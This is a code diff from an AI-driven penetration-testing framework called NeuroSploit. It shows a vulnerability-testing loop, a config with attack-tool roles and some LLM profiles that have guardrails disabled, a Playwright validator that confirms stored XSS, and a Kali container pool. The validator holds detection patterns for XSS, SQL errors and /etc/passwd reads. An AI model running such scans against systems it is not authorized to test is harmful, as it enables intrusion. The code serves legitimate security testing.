summary=f"Tested {endpoints_tested} endpoints, found {vulns_found} vulnerabilities"
|
||||
# Create vulnerability testing task
|
||||
vuln_testing_task = await self._create_agent_task(
|
||||
scan_id=scan_id,
|
||||
task_type="testing",
|
||||
task_name="Vulnerability Testing",
|
||||
description=f"Testing {len(endpoints)} endpoints for {len(testing_plan.vulnerability_types)} vulnerability types",
|
||||
tool_name="dynamic_vuln_engine",
|
||||
tool_category="scanner"
|
||||
)
|
||||
except Exception as e:
|
||||
await self._fail_agent_task(vuln_testing_task, str(e))
|
||||
raise
|
||||
|
||||
try:
|
||||
# Test endpoints with AI-determined vulnerabilities
|
||||
total_endpoints = len(endpoints)
|
||||
endpoints_tested = 0
|
||||
vulns_before = scan.total_vulnerabilities
|
||||
|
||||
# Check for mid-phase skip signal
|
||||
skip_now = self._should_skip_phase(scan_id, "testing")
|
||||
if skip_now:
|
||||
self._stop_requested = True
|
||||
|
||||
async with DynamicVulnerabilityEngine() as engine:
|
||||
for i, endpoint in enumerate(endpoints):
|
||||
if self._stop_requested:
|
||||
break
|
||||
|
||||
# Check for skip signal during testing loop
|
||||
skip_now = self._should_skip_phase(scan_id, "testing")
|
||||
if skip_now:
|
||||
await ws_manager.broadcast_log(scan_id, "warning", ">> Phase skip requested - finishing testing early")
|
||||
break
|
||||
|
||||
progress = 45 + int((i / total_endpoints) * 45)
|
||||
await ws_manager.broadcast_progress(
|
||||
scan_id, progress,
|
||||
f"Testing {i+1}/{total_endpoints}: {endpoint.path or endpoint.url[:50]}"
|
||||
)
|
||||
|
||||
# Log what we're testing
|
||||
await ws_manager.broadcast_log(scan_id, "debug", f"[{i+1}/{total_endpoints}] Testing: {endpoint.url[:80]}")
|
||||
|
||||
await self._test_endpoint_with_ai(
|
||||
scan=scan,
|
||||
endpoint=endpoint,
|
||||
testing_plan=testing_plan,
|
||||
engine=engine,
|
||||
recon_data=recon_data
|
||||
)
|
||||
endpoints_tested += 1
|
||||
|
||||
# Update final counts
|
||||
await self._update_vulnerability_counts(scan)
|
||||
|
||||
vulns_found = scan.total_vulnerabilities - vulns_before
|
||||
await self._complete_agent_task(
|
||||
vuln_testing_task,
|
||||
items_processed=endpoints_tested,
|
||||
items_found=vulns_found,
|
||||
summary=f"Tested {endpoints_tested} endpoints, found {vulns_found} vulnerabilities"
|
||||
)
|
||||
except Exception as e:
|
||||
await self._fail_agent_task(vuln_testing_task, str(e))
|
||||
raise
|
||||
|
||||
# Phase 4: Complete
|
||||
scan.status = "completed"
|
||||
|
||||
+66
-146
@@ -1,35 +1,7 @@
|
||||
{
|
||||
"llm": {
|
||||
"default_profile": "ollama_whiterabbit",
|
||||
"default_profile": "gemini_pro_default",
|
||||
"profiles": {
|
||||
"ollama_whiterabbit": {
|
||||
"provider": "ollama",
|
||||
"model": "lazarevtill/Llama-3-WhiteRabbitNeo-8B-v2.0:q4_0",
|
||||
"api_key": "",
|
||||
"temperature": 0.8,
|
||||
"max_tokens": 4096,
|
||||
"input_token_limit": 8000,
|
||||
"output_token_limit": 4000,
|
||||
"cache_enabled": false,
|
||||
"search_context_level": "high",
|
||||
"pdf_support_enabled": false,
|
||||
"guardrails_enabled": false,
|
||||
"hallucination_mitigation_strategy": null
|
||||
},
|
||||
"ollama_llama3_default": {
|
||||
"provider": "ollama",
|
||||
"model": "llama3:8b",
|
||||
"api_key": "",
|
||||
"temperature": 0.7,
|
||||
"max_tokens": 4096,
|
||||
"input_token_limit": 8000,
|
||||
"output_token_limit": 4000,
|
||||
"cache_enabled": true,
|
||||
"search_context_level": "medium",
|
||||
"pdf_support_enabled": false,
|
||||
"guardrails_enabled": true,
|
||||
"hallucination_mitigation_strategy": null
|
||||
},
|
||||
"gemini_pro_default": {
|
||||
"provider": "gemini",
|
||||
"model": "gemini-pro",
|
||||
@@ -43,52 +15,25 @@
|
||||
"pdf_support_enabled": true,
|
||||
"guardrails_enabled": true,
|
||||
"hallucination_mitigation_strategy": "consistency_check"
|
||||
},
|
||||
"claude_opus_default": {
|
||||
"provider": "claude",
|
||||
"model": "claude-sonnet-4-20250514",
|
||||
"api_key": "${ANTHROPIC_API_KEY}",
|
||||
"temperature": 0.8,
|
||||
"max_tokens": 8192,
|
||||
"input_token_limit": 200000,
|
||||
"output_token_limit": 8192,
|
||||
"cache_enabled": false,
|
||||
"search_context_level": "high",
|
||||
"pdf_support_enabled": false,
|
||||
"guardrails_enabled": false,
|
||||
"hallucination_mitigation_strategy": null
|
||||
},
|
||||
"gpt_4o_default": {
|
||||
"provider": "gpt",
|
||||
"model": "gpt-4o",
|
||||
"api_key": "${OPENAI_API_KEY}",
|
||||
"temperature": 0.7,
|
||||
"max_tokens": 4096,
|
||||
"input_token_limit": 128000,
|
||||
"output_token_limit": 4096,
|
||||
"cache_enabled": true,
|
||||
"search_context_level": "high",
|
||||
"pdf_support_enabled": true,
|
||||
"guardrails_enabled": true,
|
||||
"hallucination_mitigation_strategy": "consistency_check"
|
||||
},
|
||||
"lmstudio_default": {
|
||||
"provider": "lmstudio",
|
||||
"model": "local-model",
|
||||
"api_key": "",
|
||||
"temperature": 0.7,
|
||||
"max_tokens": 4096,
|
||||
"input_token_limit": 32000,
|
||||
"output_token_limit": 4096,
|
||||
"cache_enabled": false,
|
||||
"search_context_level": "medium",
|
||||
"pdf_support_enabled": false,
|
||||
"guardrails_enabled": true,
|
||||
"hallucination_mitigation_strategy": null
|
||||
}
|
||||
}
|
||||
},
|
||||
"agent_roles": {
|
||||
"pentest_generalist": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [
|
||||
"nmap",
|
||||
"metasploit",
|
||||
"burpsuite",
|
||||
"sqlmap",
|
||||
"hydra"
|
||||
],
|
||||
"description": "Performs comprehensive penetration tests across various domains.",
|
||||
"methodology": ["OWASP-WSTG", "PTES", "OWASP-Top10-2021"],
|
||||
"default_prompt": "auto_pentest",
|
||||
"vuln_coverage": 100,
|
||||
"ai_prompts": true
|
||||
},
|
||||
"bug_bounty_hunter": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [
|
||||
@@ -97,67 +42,11 @@
|
||||
"burpsuite",
|
||||
"sqlmap"
|
||||
],
|
||||
"description": "Focuses on web application vulnerabilities, leveraging recon and exploitation tools."
|
||||
},
|
||||
"blue_team_agent": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [],
|
||||
"description": "Analyzes logs and telemetry for threats, provides defensive strategies."
|
||||
},
|
||||
"exploit_expert": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [
|
||||
"metasploit",
|
||||
"nmap"
|
||||
],
|
||||
"description": "Devises exploitation strategies and payloads for identified vulnerabilities."
|
||||
},
|
||||
"red_team_agent": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [
|
||||
"nmap",
|
||||
"metasploit",
|
||||
"hydra"
|
||||
],
|
||||
"description": "Plans and executes simulated attacks to test an organization's defenses."
|
||||
},
|
||||
"replay_attack_specialist": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [
|
||||
"burpsuite"
|
||||
],
|
||||
"description": "Identifies and leverages replay attack vectors in network traffic or authentication."
|
||||
},
|
||||
"pentest_generalist": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [
|
||||
"nmap",
|
||||
"subfinder",
|
||||
"nuclei",
|
||||
"metasploit",
|
||||
"burpsuite",
|
||||
"sqlmap",
|
||||
"hydra"
|
||||
],
|
||||
"description": "Performs comprehensive penetration tests across various domains."
|
||||
},
|
||||
"owasp_expert": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [
|
||||
"burpsuite",
|
||||
"sqlmap"
|
||||
],
|
||||
"description": "Specializes in assessing web applications against OWASP Top 10 vulnerabilities."
|
||||
},
|
||||
"cwe_expert": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [],
|
||||
"description": "Analyzes code and reports for weaknesses based on MITRE CWE Top 25."
|
||||
},
|
||||
"malware_analyst": {
|
||||
"enabled": true,
|
||||
"tools_allowed": [],
|
||||
"description": "Examines malware samples to understand functionality and identify IOCs."
|
||||
"description": "Focuses on web application vulnerabilities with 100 vuln types.",
|
||||
"methodology": ["OWASP-WSTG", "OWASP-Top10-2021"],
|
||||
"default_prompt": "auto_pentest",
|
||||
"vuln_coverage": 100,
|
||||
"ai_prompts": true
|
||||
}
|
||||
},
|
||||
"methodologies": {
|
||||
@@ -171,20 +60,51 @@
|
||||
"nmap": "/usr/bin/nmap",
|
||||
"metasploit": "/usr/bin/msfconsole",
|
||||
"burpsuite": "/usr/bin/burpsuite",
|
||||
"sqlmap": "/usr/local/bin/sqlmap",
|
||||
"hydra": "/usr/bin/hydra",
|
||||
"nuclei": "/usr/local/bin/nuclei",
|
||||
"nikto": "/usr/bin/nikto",
|
||||
"gobuster": "/usr/bin/gobuster",
|
||||
"ffuf": "/usr/bin/ffuf",
|
||||
"subfinder": "/opt/homebrew/bin/subfinder",
|
||||
"httpx": "/usr/local/bin/httpx",
|
||||
"whatweb": "/usr/bin/whatweb",
|
||||
"curl": "/usr/bin/curl",
|
||||
"wpscan": "/usr/bin/wpscan",
|
||||
"dirsearch": "/usr/local/bin/dirsearch",
|
||||
"wafw00f": "/usr/local/bin/wafw00f",
|
||||
"jq": "/usr/bin/jq"
|
||||
"sqlmap": "/usr/bin/sqlmap",
|
||||
"hydra": "/usr/bin/hydra"
|
||||
},
|
||||
"mcp_servers": {
|
||||
"neurosploit_tools": {
|
||||
"transport": "stdio",
|
||||
"command": "python3",
|
||||
"args": ["-m", "core.mcp_server"],
|
||||
"description": "NeuroSploit pentest tools: screenshots, payload delivery, DNS, port scan, tech detect, subdomain enum, findings, AI prompts, Nuclei scanner, Naabu port scanner, sandbox execution"
|
||||
}
|
||||
},
|
||||
"sandbox": {
|
||||
"enabled": false,
|
||||
"mode": "per_scan",
|
||||
"image": "neurosploit-sandbox:latest",
|
||||
"container_name": "neurosploit-sandbox",
|
||||
"auto_start": false,
|
||||
"kali": {
|
||||
"enabled": true,
|
||||
"image": "neurosploit-kali:latest",
|
||||
"max_concurrent": 5,
|
||||
"container_ttl_minutes": 60,
|
||||
"auto_cleanup_orphans": true
|
||||
},
|
||||
"resources": {
|
||||
"memory_limit": "2g",
|
||||
"cpu_limit": 2.0
|
||||
},
|
||||
"tools": [
|
||||
"nuclei", "naabu", "nmap", "httpx", "subfinder", "katana",
|
||||
"dnsx", "ffuf", "gobuster", "dalfox", "nikto", "sqlmap",
|
||||
"whatweb", "curl", "dig", "whois", "masscan", "dirsearch",
|
||||
"wfuzz", "arjun", "wafw00f", "waybackurls"
|
||||
],
|
||||
"nuclei": {
|
||||
"rate_limit": 150,
|
||||
"timeout": 600,
|
||||
"severity_filter": "critical,high,medium",
|
||||
"auto_update_templates": true
|
||||
},
|
||||
"naabu": {
|
||||
"rate": 1000,
|
||||
"top_ports": 1000,
|
||||
"timeout": 300
|
||||
}
|
||||
},
|
||||
"output": {
|
||||
"format": "json",
|
||||
|
||||
@@ -0,0 +1,500 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Browser Validator - Playwright-based security finding validation.
|
||||
|
||||
Provides browser-based validation for security findings:
|
||||
- Navigate to target URLs with payloads
|
||||
- Detect security triggers (XSS dialogs, error patterns, etc.)
|
||||
- Capture screenshots at each validation step
|
||||
- Store evidence in structured per-finding directories
|
||||
|
||||
Screenshots are stored at: reports/screenshots/{finding_id}/
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import base64
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
try:
|
||||
from playwright.async_api import async_playwright, Page, Browser, BrowserContext
|
||||
HAS_PLAYWRIGHT = True
|
||||
except ImportError:
|
||||
HAS_PLAYWRIGHT = False
|
||||
logger.debug("Playwright not installed. Browser validation disabled.")
|
||||
|
||||
|
||||
# Known security trigger patterns in page content
|
||||
SECURITY_TRIGGERS = {
|
||||
'xss': ['<script>alert(', 'onerror=', 'onload=', 'javascript:'],
|
||||
'sqli': ['SQL syntax', 'mysql_fetch', 'pg_query', 'ORA-', 'sqlite3.OperationalError',
|
||||
'SQLSTATE', 'syntax error at or near', 'unclosed quotation mark'],
|
||||
'lfi': ['root:x:0', '/etc/passwd', '[boot loader]', 'Windows\\system.ini'],
|
||||
'rce': ['uid=', 'gid=', 'groups=', 'total ', 'drwx'],
|
||||
'error_disclosure': ['Stack Trace', 'Traceback (most recent call last)',
|
||||
'Exception in thread', 'Fatal error', 'Parse error'],
|
||||
}
|
||||
|
||||
|
||||
class BrowserValidator:
|
||||
"""Playwright-based browser validation for security findings."""
|
||||
|
||||
def __init__(self, screenshots_dir: str = "reports/screenshots"):
|
||||
self.screenshots_dir = Path(screenshots_dir)
|
||||
self.screenshots_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.browser: Optional['Browser'] = None
|
||||
self._playwright = None
|
||||
|
||||
async def start(self, headless: bool = True):
|
||||
"""Launch browser instance."""
|
||||
if not HAS_PLAYWRIGHT:
|
||||
raise RuntimeError(
|
||||
"Playwright not installed. Install with: pip install playwright && python -m playwright install chromium"
|
||||
)
|
||||
self._playwright = await async_playwright().start()
|
||||
self.browser = await self._playwright.chromium.launch(headless=headless)
|
||||
logger.info(f"Browser started (headless={headless})")
|
||||
|
||||
async def stop(self):
|
||||
"""Close browser and clean up."""
|
||||
if self.browser:
|
||||
await self.browser.close()
|
||||
self.browser = None
|
||||
if self._playwright:
|
||||
await self._playwright.stop()
|
||||
self._playwright = None
|
||||
logger.info("Browser stopped")
|
||||
|
||||
async def validate_finding(self, finding_id: str, url: str,
|
||||
payload: Optional[str] = None,
|
||||
method: str = "GET",
|
||||
interaction_steps: Optional[List[Dict]] = None,
|
||||
timeout: int = 30000) -> Dict:
|
||||
"""Validate a security finding in a real browser.
|
||||
|
||||
Args:
|
||||
finding_id: Unique identifier for the finding
|
||||
url: Target URL (may include payload in query params)
|
||||
payload: Optional payload description for logging
|
||||
method: HTTP method (currently GET-based navigation)
|
||||
interaction_steps: Optional list of browser interaction steps
|
||||
timeout: Navigation timeout in milliseconds
|
||||
|
||||
Returns:
|
||||
Dict with validation result, screenshots, evidence
|
||||
"""
|
||||
if not self.browser:
|
||||
return {"error": "Browser not started. Call start() first."}
|
||||
|
||||
finding_dir = self.screenshots_dir / finding_id
|
||||
finding_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
validation = {
|
||||
"finding_id": finding_id,
|
||||
"url": url,
|
||||
"payload": payload,
|
||||
"timestamp": datetime.now().isoformat(),
|
||||
"validated": False,
|
||||
"screenshots": [],
|
||||
"console_logs": [],
|
||||
"dialog_detected": False,
|
||||
"dialog_messages": [],
|
||||
"triggers_found": [],
|
||||
"evidence": "",
|
||||
"page_title": "",
|
||||
"status_code": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
context = await self.browser.new_context(
|
||||
ignore_https_errors=True,
|
||||
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
|
||||
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
)
|
||||
page = await context.new_page()
|
||||
|
||||
# Capture console messages
|
||||
console_msgs = []
|
||||
page.on("console", lambda msg: console_msgs.append({
|
||||
"type": msg.type, "text": msg.text
|
||||
}))
|
||||
|
||||
# Capture JavaScript dialogs (XSS alert/prompt/confirm detection)
|
||||
dialog_messages = []
|
||||
|
||||
async def handle_dialog(dialog):
|
||||
dialog_messages.append({
|
||||
"type": dialog.type,
|
||||
"message": dialog.message
|
||||
})
|
||||
await dialog.dismiss()
|
||||
|
||||
page.on("dialog", handle_dialog)
|
||||
|
||||
# Track response status
|
||||
response_status = [None]
|
||||
|
||||
def on_response(response):
|
||||
if response.url == url or response.url.rstrip('/') == url.rstrip('/'):
|
||||
response_status[0] = response.status
|
||||
|
||||
page.on("response", on_response)
|
||||
|
||||
try:
|
||||
# Navigate to the URL
|
||||
response = await page.goto(url, wait_until="networkidle", timeout=timeout)
|
||||
if response:
|
||||
validation["status_code"] = response.status
|
||||
|
||||
validation["page_title"] = await page.title()
|
||||
|
||||
# Take initial screenshot
|
||||
ss_path = finding_dir / "01_initial.png"
|
||||
await page.screenshot(path=str(ss_path), full_page=True)
|
||||
validation["screenshots"].append(str(ss_path))
|
||||
|
||||
# Execute interaction steps if provided
|
||||
if interaction_steps:
|
||||
for i, step in enumerate(interaction_steps):
|
||||
step_name = step.get('name', f'step_{i+2}')
|
||||
try:
|
||||
await self._execute_step(page, step)
|
||||
await page.wait_for_timeout(500) # Brief pause
|
||||
ss_path = finding_dir / f"{i+2:02d}_{step_name}.png"
|
||||
await page.screenshot(path=str(ss_path))
|
||||
validation["screenshots"].append(str(ss_path))
|
||||
except Exception as e:
|
||||
logger.warning(f"Interaction step '{step_name}' failed: {e}")
|
||||
|
||||
# Check for dialog detection (XSS)
|
||||
if dialog_messages:
|
||||
validation["validated"] = True
|
||||
validation["dialog_detected"] = True
|
||||
validation["dialog_messages"] = dialog_messages
|
||||
validation["evidence"] = f"JavaScript dialog triggered: {dialog_messages[0]['message']}"
|
||||
|
||||
ss_path = finding_dir / "xss_dialog_detected.png"
|
||||
await page.screenshot(path=str(ss_path))
|
||||
validation["screenshots"].append(str(ss_path))
|
||||
|
||||
# Check for security triggers in page content
|
||||
content = await page.content()
|
||||
for trigger_type, patterns in SECURITY_TRIGGERS.items():
|
||||
for pattern in patterns:
|
||||
if pattern.lower() in content.lower():
|
||||
validation["triggers_found"].append({
|
||||
"type": trigger_type,
|
||||
"pattern": pattern
|
||||
})
|
||||
|
||||
if validation["triggers_found"] and not validation["validated"]:
|
||||
validation["validated"] = True
|
||||
first_trigger = validation["triggers_found"][0]
|
||||
validation["evidence"] = (
|
||||
f"Security trigger detected: {first_trigger['type']} "
|
||||
f"(pattern: {first_trigger['pattern']})"
|
||||
)
|
||||
|
||||
ss_path = finding_dir / "trigger_detected.png"
|
||||
await page.screenshot(path=str(ss_path))
|
||||
validation["screenshots"].append(str(ss_path))
|
||||
|
||||
# Check console for errors that might indicate vulnerabilities
|
||||
error_msgs = [m for m in console_msgs if m["type"] in ("error", "warning")]
|
||||
if error_msgs:
|
||||
validation["console_logs"] = console_msgs
|
||||
|
||||
except Exception as e:
|
||||
validation["error"] = str(e)
|
||||
logger.error(f"Browser validation error for {finding_id}: {e}")
|
||||
|
||||
try:
|
||||
ss_path = finding_dir / "error.png"
|
||||
await page.screenshot(path=str(ss_path))
|
||||
validation["screenshots"].append(str(ss_path))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
finally:
|
||||
await context.close()
|
||||
|
||||
return validation
|
||||
|
||||
async def verify_stored_xss(
|
||||
self,
|
||||
finding_id: str,
|
||||
form_url: str,
|
||||
form_data: Dict[str, str],
|
||||
display_url: str,
|
||||
submit_selector: str = "button[type=submit], input[type=submit], button:not([type])",
|
||||
timeout: int = 30000,
|
||||
) -> Dict:
|
||||
"""Two-phase stored XSS verification using browser.
|
||||
|
||||
Phase 1: Navigate to form page, fill fields with payload, submit.
|
||||
Phase 2: Navigate to display page, check for dialog (alert/confirm/prompt).
|
||||
|
||||
Args:
|
||||
finding_id: Unique ID for this verification attempt
|
||||
form_url: URL containing the form to submit
|
||||
form_data: Dict mapping CSS selectors to values (payload in relevant fields)
|
||||
display_url: URL where stored content is displayed
|
||||
submit_selector: CSS selector(s) for submit button (comma-separated)
|
||||
timeout: Navigation timeout in ms
|
||||
|
||||
Returns:
|
||||
Dict with verification results, dialog detection, screenshots
|
||||
"""
|
||||
if not self.browser:
|
||||
return {"error": "Browser not started. Call start() first."}
|
||||
|
||||
finding_dir = self.screenshots_dir / finding_id
|
||||
finding_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
result = {
|
||||
"finding_id": finding_id,
|
||||
"form_url": form_url,
|
||||
"display_url": display_url,
|
||||
"timestamp": datetime.now().isoformat(),
|
||||
"phase1_success": False,
|
||||
"phase2_success": False,
|
||||
"xss_confirmed": False,
|
||||
"dialog_detected": False,
|
||||
"dialog_messages": [],
|
||||
"screenshots": [],
|
||||
"evidence": "",
|
||||
"error": None,
|
||||
}
|
||||
|
||||
context = await self.browser.new_context(
|
||||
ignore_https_errors=True,
|
||||
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
|
||||
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
)
|
||||
page = await context.new_page()
|
||||
|
||||
dialog_messages = []
|
||||
|
||||
async def handle_dialog(dialog):
|
||||
dialog_messages.append({
|
||||
"type": dialog.type,
|
||||
"message": dialog.message,
|
||||
"phase": "phase2" if result["phase1_success"] else "phase1"
|
||||
})
|
||||
await dialog.dismiss()
|
||||
|
||||
page.on("dialog", handle_dialog)
|
||||
|
||||
try:
|
||||
# === PHASE 1: Navigate to form and submit payload ===
|
||||
await page.goto(form_url, wait_until="networkidle", timeout=timeout)
|
||||
|
||||
ss_path = finding_dir / "01_form_page.png"
|
||||
await page.screenshot(path=str(ss_path), full_page=True)
|
||||
result["screenshots"].append(str(ss_path))
|
||||
|
||||
# Fill form fields
|
||||
for selector, value in form_data.items():
|
||||
try:
|
||||
await page.fill(selector, value)
|
||||
except Exception:
|
||||
try:
|
||||
await page.type(selector, value)
|
||||
except Exception as fill_err:
|
||||
logger.warning(f"Could not fill {selector}: {fill_err}")
|
||||
|
||||
ss_path = finding_dir / "02_form_filled.png"
|
||||
await page.screenshot(path=str(ss_path))
|
||||
result["screenshots"].append(str(ss_path))
|
||||
|
||||
# Submit
|
||||
submitted = False
|
||||
for sel in submit_selector.split(","):
|
||||
sel = sel.strip()
|
||||
try:
|
||||
btn = await page.query_selector(sel)
|
||||
if btn:
|
||||
await btn.click()
|
||||
submitted = True
|
||||
break
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
if not submitted and form_data:
|
||||
# Fallback: press Enter on last filled field
|
||||
last_sel = list(form_data.keys())[-1]
|
||||
try:
|
||||
await page.press(last_sel, "Enter")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
await page.wait_for_load_state("networkidle", timeout=10000)
|
||||
except Exception:
|
||||
await page.wait_for_timeout(3000)
|
||||
|
||||
ss_path = finding_dir / "03_after_submit.png"
|
||||
await page.screenshot(path=str(ss_path), full_page=True)
|
||||
result["screenshots"].append(str(ss_path))
|
||||
result["phase1_success"] = True
|
||||
|
||||
# === PHASE 2: Navigate to display page ===
|
||||
await page.goto(display_url, wait_until="networkidle", timeout=timeout)
|
||||
await page.wait_for_timeout(1000)
|
||||
|
||||
ss_path = finding_dir / "04_display_page.png"
|
||||
await page.screenshot(path=str(ss_path), full_page=True)
|
||||
result["screenshots"].append(str(ss_path))
|
||||
|
||||
# Check for dialogs triggered on display page
|
||||
if dialog_messages:
|
||||
phase2_dialogs = [d for d in dialog_messages if d.get("phase") == "phase2"]
|
||||
if phase2_dialogs:
|
||||
result["xss_confirmed"] = True
|
||||
result["dialog_detected"] = True
|
||||
result["dialog_messages"] = dialog_messages
|
||||
result["evidence"] = (
|
||||
f"Stored XSS CONFIRMED: JavaScript dialog triggered on display page. "
|
||||
f"Dialog: {phase2_dialogs[0]['type']}('{phase2_dialogs[0]['message']}')"
|
||||
)
|
||||
result["phase2_success"] = True
|
||||
|
||||
ss_path = finding_dir / "05_xss_confirmed.png"
|
||||
await page.screenshot(path=str(ss_path))
|
||||
result["screenshots"].append(str(ss_path))
|
||||
else:
|
||||
result["evidence"] = (
|
||||
"Dialog triggered during form submission (phase1), not on display page."
|
||||
)
|
||||
|
||||
# Content-based fallback if no dialog
|
||||
if not result["xss_confirmed"]:
|
||||
content = await page.content()
|
||||
for _, payload_val in form_data.items():
|
||||
if payload_val in content:
|
||||
payload_lower = payload_val.lower()
|
||||
for tag in ["<script", "onerror=", "onload=", "<svg", "<img",
|
||||
"onfocus=", "onclick=", "ontoggle"]:
|
||||
if tag in payload_lower:
|
||||
result["phase2_success"] = True
|
||||
result["evidence"] = (
|
||||
f"Stored payload with '{tag}' found unescaped on display page. "
|
||||
f"Dialog may be blocked by CSP."
|
||||
)
|
||||
break
|
||||
break
|
||||
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
logger.error(f"Stored XSS verification error: {e}")
|
||||
try:
|
||||
ss_path = finding_dir / "error.png"
|
||||
await page.screenshot(path=str(ss_path))
|
||||
result["screenshots"].append(str(ss_path))
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
await context.close()
|
||||
|
||||
return result
|
||||
|
||||
async def _execute_step(self, page: 'Page', step: Dict):
|
||||
"""Execute a single browser interaction step."""
|
||||
action = step.get("action", "")
|
||||
|
||||
if action == "click":
|
||||
await page.click(step["selector"])
|
||||
elif action == "fill":
|
||||
await page.fill(step["selector"], step["value"])
|
||||
elif action == "type":
|
||||
await page.type(step["selector"], step["value"])
|
||||
elif action == "submit":
|
||||
selector = step.get("selector", "button[type=submit]")
|
||||
await page.click(selector)
|
||||
elif action == "wait":
|
||||
await page.wait_for_timeout(step.get("ms", 2000))
|
||||
elif action == "navigate":
|
||||
await page.goto(step["url"], wait_until="networkidle")
|
||||
elif action == "select":
|
||||
await page.select_option(step["selector"], step["value"])
|
||||
elif action == "check":
|
||||
await page.check(step["selector"])
|
||||
elif action == "press":
|
||||
await page.press(step.get("selector", "body"), step["key"])
|
||||
else:
|
||||
logger.warning(f"Unknown interaction action: {action}")
|
||||
|
||||
async def batch_validate(self, findings: List[Dict],
|
||||
headless: bool = True) -> List[Dict]:
|
||||
"""Validate multiple findings in sequence.
|
||||
|
||||
Args:
|
||||
findings: List of dicts with 'finding_id', 'url', and optional 'payload'
|
||||
headless: Run browser in headless mode
|
||||
|
||||
Returns:
|
||||
List of validation results
|
||||
"""
|
||||
results = []
|
||||
await self.start(headless=headless)
|
||||
try:
|
||||
for finding in findings:
|
||||
result = await self.validate_finding(
|
||||
finding_id=finding['finding_id'],
|
||||
url=finding['url'],
|
||||
payload=finding.get('payload'),
|
||||
interaction_steps=finding.get('interaction_steps')
|
||||
)
|
||||
results.append(result)
|
||||
finally:
|
||||
await self.stop()
|
||||
return results
|
||||
|
||||
|
||||
def validate_finding_sync(finding_id: str, url: str,
|
||||
payload: str = None,
|
||||
screenshots_dir: str = "reports/screenshots",
|
||||
headless: bool = True) -> Dict:
|
||||
"""Synchronous wrapper for browser validation.
|
||||
|
||||
For use in synchronous code paths (e.g., BaseAgent).
|
||||
"""
|
||||
if not HAS_PLAYWRIGHT:
|
||||
return {
|
||||
"finding_id": finding_id,
|
||||
"skipped": True,
|
||||
"reason": "Playwright not installed"
|
||||
}
|
||||
|
||||
async def _run():
|
||||
validator = BrowserValidator(screenshots_dir=screenshots_dir)
|
||||
await validator.start(headless=headless)
|
||||
try:
|
||||
return await validator.validate_finding(finding_id, url, payload)
|
||||
finally:
|
||||
await validator.stop()
|
||||
|
||||
try:
|
||||
return asyncio.run(_run())
|
||||
except RuntimeError:
|
||||
# Already in an async context - use nest_asyncio or skip
|
||||
logger.warning("Cannot run sync validation inside async context")
|
||||
return {
|
||||
"finding_id": finding_id,
|
||||
"skipped": True,
|
||||
"reason": "Async context conflict"
|
||||
}
|
||||
|
||||
|
||||
def embed_screenshot(filepath: str) -> str:
|
||||
"""Convert a screenshot file to a base64 data URI for HTML embedding."""
|
||||
path = Path(filepath)
|
||||
if not path.exists():
|
||||
return ""
|
||||
with open(path, 'rb') as f:
|
||||
data = base64.b64encode(f.read()).decode('ascii')
|
||||
return f"data:image/png;base64,{data}"
|
||||
@@ -0,0 +1,206 @@
|
||||
"""
|
||||
NeuroSploit v3 - Container Pool
|
||||
|
||||
Global coordinator for per-scan Kali Linux containers.
|
||||
Tracks all running sandbox containers, enforces max concurrent limits,
|
||||
handles lifecycle management and orphan cleanup.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import threading
|
||||
from datetime import datetime, timedelta
|
||||
from typing import Dict, Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
try:
|
||||
import docker
|
||||
from docker.errors import NotFound
|
||||
HAS_DOCKER = True
|
||||
except ImportError:
|
||||
HAS_DOCKER = False
|
||||
|
||||
from core.kali_sandbox import KaliSandbox
|
||||
|
||||
|
||||
class ContainerPool:
|
||||
"""Global pool managing per-scan KaliSandbox instances.
|
||||
|
||||
Thread-safe. One pool per process. Enforces resource limits.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
image: str = "neurosploit-kali:latest",
|
||||
max_concurrent: int = 5,
|
||||
memory_limit: str = "2g",
|
||||
cpu_limit: float = 2.0,
|
||||
container_ttl_minutes: int = 60,
|
||||
):
|
||||
self.image = image
|
||||
self.max_concurrent = max_concurrent
|
||||
self.memory_limit = memory_limit
|
||||
self.cpu_limit = cpu_limit
|
||||
self.container_ttl = timedelta(minutes=container_ttl_minutes)
|
||||
|
||||
self._sandboxes: Dict[str, KaliSandbox] = {}
|
||||
self._lock = asyncio.Lock()
|
||||
|
||||
@classmethod
|
||||
def from_config(cls) -> "ContainerPool":
|
||||
"""Create pool from config/config.json sandbox section."""
|
||||
try:
|
||||
with open("config/config.json") as f:
|
||||
cfg = json.load(f)
|
||||
sandbox_cfg = cfg.get("sandbox", {})
|
||||
kali_cfg = sandbox_cfg.get("kali", {})
|
||||
resources = sandbox_cfg.get("resources", {})
|
||||
|
||||
return cls(
|
||||
image=kali_cfg.get("image", "neurosploit-kali:latest"),
|
||||
max_concurrent=kali_cfg.get("max_concurrent", 5),
|
||||
memory_limit=resources.get("memory_limit", "2g"),
|
||||
cpu_limit=resources.get("cpu_limit", 2.0),
|
||||
